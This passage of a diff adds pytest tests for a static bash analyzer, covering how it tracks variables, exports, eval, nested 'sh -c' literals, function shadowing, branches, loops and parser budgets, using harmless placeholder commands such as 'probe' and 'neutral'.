+ +def test_literal_shell_and_eval_programs_share_state_with_defined_propagation() -> None: + private, _budget, _unit = _analyze_private( + b"export A=exported\n" + b"A=overlay sh -c 'probe \"$A\"'\n" + b"A=outer\n" + b"eval 'probe \"$A\"; A=evaluated'\n" + b'probe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [command.argv[1] for command in probes] == [ + dependency_types.StaticValue.exact(b"overlay"), + dependency_types.StaticValue.exact(b"outer"), + dependency_types.StaticValue.exact(b"evaluated"), + ] + assert [command.provenance for command in probes] == [ + dependency_types.SiteProvenance.NESTED_LITERAL, + dependency_types.SiteProvenance.NESTED_LITERAL, + dependency_types.SiteProvenance.FILE_SUFFIX, + ] + + +def test_nested_literal_depth_three_is_rejected_before_the_fourth_parse( + monkeypatch: pytest.MonkeyPatch, +) -> None: + raw = b"export A='probe ok'\nexport B='sh -c \"$A\"'\nexport C='sh -c \"$B\"'\nsh -c \"$C\"\n" + real_parse = shell_frontend.parse_bash_source + parsed: list[bytes] = [] + + def recording_parse(source: bytes, **kwargs: Any) -> Any: + parsed.append(source) + return real_parse(source, **kwargs) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", recording_parse) + + private, _budget, _unit = _analyze_private(raw) + + assert len(parsed) == 3 + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.RESOURCE_LIMIT + ] + assert private.public.issues[0].exhaustion == dependency_types.DependencyWorkExhaustion( + dependency_types.DependencyWorkResource.SHELL_NESTED_DEPTH, + 3, + dependency_types.MAX_DEPENDENCY_SHELL_NESTED_LITERAL_DEPTH, + ) + + +@pytest.mark.parametrize( + "raw", + [ + b"env -S 'probe hidden'\n", + b"xargs probe\n", + b"printf '%s' 'probe hidden' | sh\n", + b'sh -c "$PROGRAM"\n', + b'eval "$PROGRAM"\n', + b"eval 'one' 'two'\n", + ], +) +def test_data_constructed_or_dynamic_commands_are_explicit_limitations(raw: bytes) -> None: + private, _budget, _unit = _analyze_private(raw) + + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + assert private.public.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +def test_simple_expansion_state_is_exact_only_for_supported_site_time_shapes() -> None: + private, _budget, _unit = _analyze_private( + b'A=one\nB=two\nprobe "$A" "${A}" "pre${A}/${B}post" "${A:-fallback}" "$1"\n' + ) + + probe = private.public.commands[-1] + assert probe.argv[1:] == ( + dependency_types.StaticValue.exact(b"one"), + dependency_types.StaticValue.exact(b"one"), + dependency_types.StaticValue.exact(b"preone/twopost"), + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + + +def test_mixed_event_tape_preserves_substitution_order_and_control_roles() -> None: + private, _budget, _unit = _analyze_private( + b'A=before\nA=$(probe "$A")\nprobe "$A"\nB=one && C=two || D=three\nE=four & F=five\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"before"), + dependency_types.StaticValue.unknown(), + ] + roles_by_name = { + event.name: event.role.value + for event in private.program.state_events + if event.kind.value == "assignment" and event.name is not None + } + assert roles_by_name == { + "A": "straight", + "B": "boolean_left", + "C": "boolean_right", + "D": "boolean_right", + "E": "async", + "F": "straight", + } + + +def test_export_unset_shapes_and_later_definite_recovery_are_conservative() -> None: + private, _budget, _unit = _analyze_private( + b"export A=one\n" + b"A=two\n" + b"export -n A\n" + b"export A\n" + b"unset A\n" + b'probe "$A"\n' + b"unset B C\n" + b"unset -v D\n" + b"A=recovered\n" + b'probe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.unbound(), + dependency_types.StaticValue.exact(b"recovered"), + ] + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS, + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS, + ] + assert [ + (update.binding.name, update.binding.export_state.value) + for update in private.program.state_updates + if update.binding.name == "A" + ] == [ + ("A", "exported"), + ("A", "exported"), + ("A", "unexported"), + ("A", "exported"), + ("A", "unexported"), + ("A", "unexported"), + ] + + +def test_function_shadowing_prevents_nested_shell_and_eval_interpretation() -> None: + private, _budget, _unit = _analyze_private( + b"sh() { neutral; }\neval() { neutral; }\nsh -c 'probe hidden'\neval 'probe hidden'\n" + ) + + assert [ + command.resolution.kind.value + for command in private.program.commands + if command.site.argv[0] + in { + dependency_types.StaticValue.exact(b"sh"), + dependency_types.StaticValue.exact(b"eval"), + } + ] == ["function", "function"] + assert all( + command.site.argv[0] != dependency_types.StaticValue.exact(b"probe") + for command in private.program.commands + ) + + +def test_nested_literal_maps_compose_to_markdown_physical_bytes() -> None: + raw = b"heading\n```bash\nsh -c 'probe child'\n```\n" + budget = DependencyWorkBudget() + unit = _extract("docs/state.md", raw, budget=budget).units[0] + + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + nested = private.program.nested_programs[0] + assert nested.depth == 1 + assert nested.unit.raw_bytes == b"probe child" + assert nested.unit.source_map is not None + assert nested.unit.source_map.map_range(0, len(b"probe child")) == ( + dependency_types.SourceSpan( + "docs/state.md", + raw.index(b"probe child"), + raw.index(b"probe child") + len(b"probe child"), + 3, + 3, + start_column=7, + end_column=18, + ) + ) + probe = next( + command + for command in private.public.commands + if command.provenance is dependency_types.SiteProvenance.NESTED_LITERAL + ) + assert probe.span == nested.unit.source_map.map_range(0, len(b"probe child")) + + +def test_escape_folded_nested_map_uses_only_affine_surviving_runs() -> None: + raw = b"sh -c probe\\ ok\n" + private, _budget, _unit = _analyze_private(raw) + + nested = private.program.nested_programs[0] + source_map = nested.unit.source_map + assert nested.unit.raw_bytes == b"probe ok" + assert source_map is not None + assert all( + entry.child_end_byte - entry.child_start_byte + == entry.physical_end_byte - entry.physical_start_byte + for entry in source_map.entries + ) + assert ( + b"".join( + raw[entry.physical_start_byte : entry.physical_end_byte] for entry in source_map.entries + ) + == b"probe ok" + ) + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize( + ("failure_reason", "issue_reason"), + [ + ( + shell_frontend.ShellParserFailureReason.RUNTIME_LIMIT, + dependency_types.ShellIssueReason.RUNTIME_LIMIT, + ), + ( + shell_frontend.ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE, + dependency_types.ShellIssueReason.SHELL_PARSER_UNAVAILABLE, + ), + ], +) +def test_nested_parser_failure_is_local_partial_and_preserves_other_sites( + monkeypatch: pytest.MonkeyPatch, + failure_reason: shell_frontend.ShellParserFailureReason, + issue_reason: dependency_types.ShellIssueReason, +) -> None: + real_parse = shell_frontend.parse_bash_source + calls = 0 + + def fail_child(source: bytes, **kwargs: Any) -> Any: + nonlocal calls + calls += 1 + if calls == 1: + return real_parse(source, **kwargs) + raise shell_frontend.ShellParserError( + outcome=shell_frontend.ShellParserOutcome.FAILED, + reason=failure_reason, + deadline_tripped=( + failure_reason is shell_frontend.ShellParserFailureReason.RUNTIME_LIMIT + ), + ) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", fail_child) + + private, _budget, _unit = _analyze_private(b"sh -c 'probe nested'\nprobe retained\n") + + assert calls == 2 + assert [issue.reason for issue in private.public.issues] == [issue_reason] + assert private.public.issues[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + assert _argv_bytes(private.public.commands[-1]) == (b"probe", b"retained") + + +def test_nested_work_charges_root_unit_and_one_over_parser_budget_is_localized( + monkeypatch: pytest.MonkeyPatch, +) -> None: + raw = b"sh -c 'probe one'\nsh -c 'probe two'\n" + budget = DependencyWorkBudget() + unit = _extract("scripts/nested-budget.sh", raw, budget=budget).units[0] + file_budget = budget.for_file(unit.origin_span.path) + file_budget.register_shell_file_size(len(raw)) + for _ in range(dependency_types.MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE - 2): + assert file_budget.reserve_shell_parse(0) is None + charged_unit_ids: list[str] = [] + real_charge = dependency_types.DependencyFileBudget.charge_shell_cst_visits + + def record_cst(self: Any, accounting_unit: Any, count: int) -> Any: + charged_unit_ids.append(accounting_unit.unit_id) + return real_charge(self, accounting_unit, count) + + monkeypatch.setattr( + dependency_types.DependencyFileBudget, + "charge_shell_cst_visits", + record_cst, + ) + + private = shell_frontend._analyze_shell_unit(unit, budget=budget) + + assert set(charged_unit_ids) == {unit.unit_id} + assert [ + item.outcome for item in private.public.work_items if item.kind.value == "nested_literal" + ] == [ + dependency_types.ShellWorkOutcome.COMPLETED, + dependency_types.ShellWorkOutcome.SKIPPED, + ] + assert private.public.issues[-1].exhaustion == dependency_types.DependencyWorkExhaustion( + dependency_types.DependencyWorkResource.SHELL_PARSER_CALLS, + dependency_types.MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE + 1, + dependency_types.MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE, + ) + + +def test_branch_local_state_is_exact_then_widens_after_if() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\nif cond; then A=branch; probe "$A"; fi\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"branch"), + dependency_types.StaticValue.unknown(), + ] + + +def test_conditional_export_widens_only_attribute_and_assignment_preserves_export() -> None: + private, _budget, _unit = _analyze_private( + b"A=base\n" + b"if cond; then export A; fi\n" + b'probe "$A"\n' + b"export B=base\n" + b"if cond; then B=branch; fi\n" + b'probe "$B"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"base"), + dependency_types.StaticValue.unknown(), + ] + last_by_name = {update.binding.name: update.binding for update in private.program.state_updates} + assert last_by_name["A"].value == dependency_types.StaticValue.exact(b"base") + assert last_by_name["A"].export_state.value == "unknown" + assert last_by_name["B"].value == dependency_types.StaticValue.unknown() + assert last_by_name["B"].export_state.value == "exported" + + +def test_conditional_function_is_visible_inside_branch_and_ambiguous_after() -> None: + private, _budget, _unit = _analyze_private( + b"if cond; then helper-name() { neutral; }; helper-name inside; fi\nhelper-name outside\n" + ) + + calls = [ + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"helper-name") + ] + assert [call.resolution.kind.value for call in calls] == ["function", "ambiguous"] + + +@pytest.mark.parametrize( + "isolated", + [ + b"(A=inner)", + b"A=inner | consume", + b"capture $(A=inner; produce)", + b"capture <(A=inner; produce)", + ], +) +def test_isolated_write_inside_function_does_not_escape(isolated: bytes) -> None: + private, _budget, _unit = _analyze_private(b"f() { A=outer; " + isolated + b'; probe "$A"; }\n') + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.exact(b"outer") + + +def test_dynamic_unset_invalidates_stale_exact_state_then_definite_write_recovers() -> None: + private, _budget, _unit = _analyze_private( + b'TARGET=X\nX=one\nunset "$TARGET"\nprobe "$X"\nX=recovered\nprobe "$X"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.exact(b"recovered"), + ] + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize("keyword", [b"export", b"declare", b"readonly", b"typeset"]) +def test_declaration_argv_and_assignment_share_resolved_value(keyword: bytes) -> None: + private, _budget, _unit = _analyze_private(b"B=one\n" + keyword + b" A=$B\n") + + declaration = private.public.commands[-1] + assignment = next( + assignment for assignment in private.public.assignments if assignment.name == "A" + ) + assert declaration.argv[1] == dependency_types.StaticValue.exact(b"A=one") + assert assignment.value == ( + dependency_types.StaticValue.unknown() + if keyword == b"readonly" + else dependency_types.StaticValue.exact(b"one") + ) + + +def test_mutually_exclusive_else_branch_restarts_from_pre_if_state() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\nif cond; then A=then; else probe "$A"; A=else; fi\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"base"), + dependency_types.StaticValue.unknown(), + ] + + +def test_c_style_loop_postfix_write_does_not_leave_stale_exact_state() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\nfor ((i=0; i<1; A++)); do neutral; done\nprobe "$A"\n' + ) + + probe = private.public.commands[-1] + assert probe.argv[1] == dependency_types.StaticValue.unknown() + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_export_n_assignment_is_not_interpreted_as_supported_export() -> None: + private, _budget, _unit = _analyze_private(b"export -n A=one\n") + + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + last = private.program.state_updates[-1].binding + assert last.name == "A" + assert last.value == dependency_types.StaticValue.unknown() + assert last.export_state.value == "unknown" + + +@pytest.mark.parametrize("shell", [b"bash", b"sh", b"dash"]) +@pytest.mark.parametrize("option", [b"-c", b"-lc"]) +def test_literal_shell_forms_receive_only_exports_plus_prefix( + shell: bytes, + option: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"HIDDEN=private\n" + b"export SHARED=exported\n" + b"OVERLAY=persistent\n" + + b"OVERLAY=temporary " + + shell + + b" " + + option + + b' \'probe "$HIDDEN" "$SHARED" "$OVERLAY"\' name arg\n' + + b'probe "$OVERLAY"\n' + ) + + nested_probe = next( + command + for command in private.public.commands + if command.provenance is dependency_types.SiteProvenance.NESTED_LITERAL + ) + assert nested_probe.argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.exact(b"exported"), + dependency_types.StaticValue.exact(b"temporary"), + ) + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.exact(b"persistent") + + +def test_repeated_variable_payload_provenance_is_rejected_without_child_parse( + monkeypatch: pytest.MonkeyPatch, +) -> None: + real_parse = shell_frontend.parse_bash_source + parsed: list[bytes] = [] + + def record_parse(source: bytes, **kwargs: Any) -> Any: + parsed.append(source) + return real_parse(source, **kwargs) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", record_parse) + + private, _budget, _unit = _analyze_private(b"P='probe once'\neval \"$P$P\"\nprobe retained\n") + + assert parsed == [b"P='probe once'\neval \"$P$P\"\nprobe retained\n"] + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + assert _argv_bytes(private.public.commands[-1]) == (b"probe", b"retained") + + +def test_root_and_nested_parses_receive_the_same_absolute_deadline( + monkeypatch: pytest.MonkeyPatch, +) -> None: + real_parse = shell_frontend.parse_bash_source + deadlines: list[float | None] = [] + meaningful: list[bool] = [] + + def record_parse(source: bytes, **kwargs: Any) -> Any: + deadlines.append(kwargs.get("deadline_monotonic")) + meaningful.append(kwargs.get("meaningful_work", False)) + return real_parse(source, **kwargs) + + monkeypatch.setattr(shell_frontend, "parse_bash_source", record_parse) + budget = DependencyWorkBudget() + unit = _extract("scripts/deadline.sh", b"sh -c 'probe child'\n", budget=budget).units[0] + + shell_frontend._analyze_shell_unit(unit, budget=budget, deadline_monotonic=9_999_999_999.0) + + assert deadlines == [9_999_999_999.0, 9_999_999_999.0] + assert meaningful == [False, True] + + +def test_isolated_write_inside_conditional_does_not_pollute_branch_overlay() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\nif cond; then A=branch; (A=isolated); probe "$A"; fi\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"branch"), + dependency_types.StaticValue.unknown(), + ] + + +def test_case_arm_restarts_from_pre_case_state() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\ncase "$INPUT" in one) A=one ;; two) probe "$A"; A=two ;; esac\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"base"), + dependency_types.StaticValue.unknown(), + ] + + +def test_unsupported_multi_export_and_unset_f_do_not_retain_false_precision() -> None: + private, _budget, _unit = _analyze_private( + b"A=one\nB=two\nexport A B\nf() { neutral; }\nunset -f f\nf maybe\n" + ) + + last_by_name = {update.binding.name: update.binding for update in private.program.state_updates} + assert last_by_name["A"].export_state.value == "unknown" + assert last_by_name["B"].export_state.value == "unknown" + f_call = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"f") + ) + assert f_call.resolution.kind.value == "ambiguous" + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS, + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS, + ] + + +@pytest.mark.parametrize("interpreter", [b"eval", b"sh"]) +def test_function_body_preserves_visible_shadow_for_nested_interpreters( + interpreter: bytes, +) -> None: + invocation = b"eval 'probe hidden'" if interpreter == b"eval" else b"sh -c 'probe hidden'" + private, _budget, _unit = _analyze_private( + interpreter + b"() { neutral; }\n" + b"f() { " + invocation + b"; }\n" + ) + + call = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(interpreter) + ) + assert call.resolution.kind.value == "function" + assert private.program.nested_programs == () + assert all( + command.site.argv[0] != dependency_types.StaticValue.exact(b"probe") + for command in private.program.commands + ) + + +def test_nested_command_context_retains_inherited_exports_and_parent_identity() -> None: + private, _budget, _unit = _analyze_private(b"export TOKEN=one\nsh -c 'manager install'\n") + + nested = private.program.nested_programs[0] + inherited = {binding.name: binding for binding in nested.program.initial_bindings} + manager = nested.program.commands[0] + assert inherited["TOKEN"].value == dependency_types.StaticValue.exact(b"one") + assert inherited["TOKEN"].export_state.value == "exported" + assert nested.parent_program_id == private.program.program_id + assert nested.parent_command_start_byte == private.public.commands[1].span.start_byte + assert manager.program_id == nested.program.program_id == nested.unit.unit_id + + +def test_eval_propagation_is_replayable_at_later_parent_command() -> None: + private, _budget, _unit = _analyze_private(b"eval 'export TOKEN=one'\nmanager install\n") + + token_updates = [ + update for update in private.program.state_updates if update.binding.name == "TOKEN" + ] + manager = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"manager") + ) + assert token_updates[-1].binding.value == dependency_types.StaticValue.exact(b"one") + assert token_updates[-1].binding.export_state.value == "exported" + assert manager.state_update_order > token_updates[-1].order + assert manager.program_id == private.program.program_id + + +@pytest.mark.parametrize( + "eval_command", + [ + b'eval "$DYNAMIC"', + b"eval 'A=two;' ':'", + ], +) +def test_unsupported_eval_invalidates_state_and_external_resolution( + eval_command: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"A=one\n" + eval_command + b"\n" + b'probe "$A"\n' + b"sh -c 'probe hidden'\n" + ) + + visible_probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + shell = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"sh") + ) + assert visible_probe.argv[1] == dependency_types.StaticValue.unknown() + assert shell.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + + +@pytest.mark.parametrize( + "eval_command", + [ + b"eval 'A=two'", + b'eval "$DYNAMIC"', + ], +) +def test_ambiguous_eval_applies_state_and_function_namespace_barrier( + eval_command: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"A=one\nif cond; then eval() { neutral; }; fi\n" + + eval_command + + b"\nprobe \"$A\"\nsh -c 'probe hidden'\n" + ) + + visible_probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + eval_site = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"eval") + and command.function_id is None + ) + shell = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"sh") + ) + assert eval_site.resolution.kind.value == "ambiguous" + assert visible_probe.argv[1] == dependency_types.StaticValue.unknown() + assert shell.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + assert dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS in { + issue.reason for issue in private.public.issues + } + + +@pytest.mark.parametrize("update", [b"++A", b"A+=1"]) +def test_c_style_non_postfix_update_does_not_leave_stale_exact_state( + update: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"A=one\nfor ((i=0; i<1; " + update + b')); do neutral; done\nprobe "$A"\n' + ) + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + assert dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS in { + issue.reason for issue in private.public.issues + } + + +@pytest.mark.parametrize( + "loop", + [ + b"for ((++A; i<1; i++)); do neutral; done", + b"for ((i=0; (A+=1)<2; i++)); do neutral; done", + b"for ((i=0; A++<2; )); do neutral; done", + ], +) +def test_c_style_initializer_or_condition_write_does_not_leave_stale_exact_state( + loop: bytes, +) -> None: + private, _budget, _unit = _analyze_private(b"A=one\n" + loop + b'\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + assert dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS in { + issue.reason for issue in private.public.issues + } + + +@pytest.mark.parametrize( + "loop", + [ + b"for ((A=1; A<2; A++)); do neutral; done", + b"for ((A=1; (A+=1)<3; )); do neutral; done", + b"for ((A=1; A++<3; )); do neutral; done", + ], +) +def test_c_style_header_barrier_cannot_be_overwritten_by_initializer_exact_recovery( + loop: bytes, +) -> None: + private, _budget, _unit = _analyze_private(b"A=1\n" + loop + b'\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_eval_child_sees_prefix_overlay_without_leaking_prefix_binding() -> None: + private, _budget, _unit = _analyze_private(b'A=one\nA=two eval \'B=$A\'\nprobe "$B" "$A"\n') + + nested = private.program.nested_programs[0] + initial = {binding.name: binding for binding in nested.program.initial_bindings} + assert initial["A"].value == dependency_types.StaticValue.exact(b"two") + assert private.public.commands[-1].argv[1:] == ( + dependency_types.StaticValue.exact(b"two"), + dependency_types.StaticValue.exact(b"one"), + ) + + +@pytest.mark.parametrize( + "raw", + [ + b"f() { eval 'probe hidden'; }\neval() { neutral; }\nf\n", + b"eval() { neutral; }\nf() { eval 'probe visible'; }\nunset -f eval\nf\n", + ], +) +def test_function_body_resolution_does_not_freeze_definition_time_global_shadow( + raw: bytes, +) -> None: + private, _budget, _unit = _analyze_private(raw) + + body_eval = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"eval") + and command.function_id is not None + ) + assert body_eval.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + assert dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS in { + issue.reason for issue in private.public.issues + } + + +def test_function_body_future_mutation_detects_state_resolved_eval_name() -> None: + private, _budget, _unit = _analyze_private( + b"f() { sh -c 'probe hidden'; }\nCMD=eval\n\"$CMD\" 'sh() { neutral; }'\nf\n" + ) + + body_shell = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"sh") + and command.function_id is not None + ) + assert body_shell.resolution.kind.value == "ambiguous" + assert all( + command.site.argv[0] != dependency_types.StaticValue.exact(b"probe") + for command in private.program.commands + ) + + +@pytest.mark.parametrize( + "raw", + [ + b"outer() { f() { eval 'probe hidden'; }; eval() { neutral; }; f; }\nouter\n", + b"outer() { eval() { neutral; }; f() { eval 'probe visible'; }; " + b"unset -f eval; f; }\nouter\n", + ], +) +def test_nested_function_body_does_not_freeze_enclosing_function_mutation_timing( + raw: bytes, +) -> None: + private, _budget, _unit = _analyze_private(raw) + + inner_eval = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"eval") + and command.function_id is not None + ) + assert inner_eval.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + + +def test_deep_nested_function_body_checks_all_enclosing_function_mutations() -> None: + private, _budget, _unit = _analyze_private( + b"outer() { mid() { inner() { eval 'probe hidden'; }; inner; }; " + b"eval() { neutral; }; mid; }\nouter\n" + ) + + inner_eval = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"eval") + and command.function_id is not None + ) + assert inner_eval.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + + +def test_variable_backed_eval_flattening_preserves_execution_order() -> None: + private, _budget, _unit = _analyze_private( + b"P='probe nested'\nprobe before\neval \"$P\"\nprobe after\n" + ) + + assert [command.site.argv[0].exact_bytes for command in private.program.execution_commands] == [ + b"probe", + b"eval", + b"probe", + b"probe", + ] + assert [command.site.argv[1].exact_bytes for command in private.program.execution_commands] == [ + b"before", + b"probe nested", + b"nested", + b"after", + ] + assert [nested.depth for nested in private.program.nested_programs] == [1] + + +@pytest.mark.parametrize( + "raw", + [ + b"A=outer\nA=new B=$A C=literal neutral\n", + b"A=outer\nleft | A=new B=$A C=literal neutral\n", + ], +) +def test_prefix_rhs_referencing_sibling_prefix_is_unknown_in_every_context( + raw: bytes, +) -> None: + private, _budget, _unit = _analyze_private(raw) + + command = next( + candidate + for candidate in private.program.commands + if candidate.site.argv[0] == dependency_types.StaticValue.exact(b"neutral") + ) + bindings = {binding.name: binding.value for binding in command.prefix_bindings} + assert bindings == { + "A": dependency_types.StaticValue.exact(b"new"), + "B": dependency_types.StaticValue.unknown(), + "C": dependency_types.StaticValue.exact(b"literal"), + } + + +def test_duplicate_prefix_name_counts_as_a_sibling_dependency() -> None: + private, _budget, _unit = _analyze_private(b"A=outer\nA=one A=$A neutral\n") + + command = next( + candidate + for candidate in private.program.commands + if candidate.site.argv[0] == dependency_types.StaticValue.exact(b"neutral") + ) + assert [binding.value for binding in command.prefix_bindings] == [ + dependency_types.StaticValue.exact(b"one"), + dependency_types.StaticValue.unknown(), + ] + + +@pytest.mark.parametrize("keyword", [b"export", b"declare", b"readonly", b"typeset"]) +def test_declaration_assignments_resolve_atomically_from_precommand_snapshot( + keyword: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"A=old\n" + keyword + b' A=new B=$A\nprobe "$A" "$B"\n' + ) + + assert private.public.commands[-1].argv[1:] == ( + ( + dependency_types.StaticValue.unknown() + if keyword == b"readonly" + else dependency_types.StaticValue.exact(b"new") + ), + ( + dependency_types.StaticValue.unknown() + if keyword == b"readonly" + else dependency_types.StaticValue.exact(b"old") + ), + ) + + +def test_local_assignments_resolve_atomically_from_function_snapshot() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=old; local A=new B=$A; probe "$A" "$B"; }\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.exact(b"new"), + dependency_types.StaticValue.exact(b"old"), + ) + + +@pytest.mark.parametrize( + ("setup", "command", "expected_b_export", "expected_issues"), + [ + (b"B=two", b"export A=one B", "exported", ()), + ( + b"export B=two", + b"export A=one -n B", + "unknown", + (dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS,), + ), + ], +) +def test_mixed_export_assignments_and_bare_operands_update_every_narrow_operand( + setup: bytes, + command: bytes, + expected_b_export: str, + expected_issues: tuple[dependency_types.ShellIssueReason, ...], +) -> None: + private, _budget, _unit = _analyze_private(setup + b"\n" + command + b"\n") + + last_by_name = {update.binding.name: update.binding for update in private.program.state_updates} + assert last_by_name["A"].value == dependency_types.StaticValue.exact(b"one") + assert last_by_name["A"].export_state.value == "exported" + assert last_by_name["B"].value == dependency_types.StaticValue.exact(b"two") + assert last_by_name["B"].export_state.value == expected_b_export + assert tuple(issue.reason for issue in private.public.issues) == expected_issues + + +def test_known_function_call_widens_its_body_variable_write_set() -> None: + private, _budget, _unit = _analyze_private(b'A=old\nf() { A=new; }\nf\nprobe "$A"\n') + + function_call = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"f") + and command.function_id is None + ) + assert function_call.resolution.kind.value == "function" + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_known_function_call_widens_its_body_function_write_set() -> None: + private, _budget, _unit = _analyze_private( + b"f() { sh() { neutral; }; }\nf\nsh -c 'probe hidden'\nprobe later\n" + ) + + shell = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"sh") + and command.function_id is None + ) + assert shell.resolution.kind.value == "ambiguous" + assert all( + command.site.argv[0] != dependency_types.StaticValue.exact(b"probe") + or command.site.argv[1] == dependency_types.StaticValue.exact(b"later") + for command in private.program.commands + ) + + +def test_known_function_call_widens_transitive_body_write_sets() -> None: + private, _budget, _unit = _analyze_private( + b"A=old\ng() { A=new; sh() { neutral; }; }\nf() { g; }\nf\n" + b"probe \"$A\"\nsh -c 'probe hidden'\n" + ) + + shell = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"sh") + and command.function_id is None + ) + assert private.public.commands[-2].argv[1] == 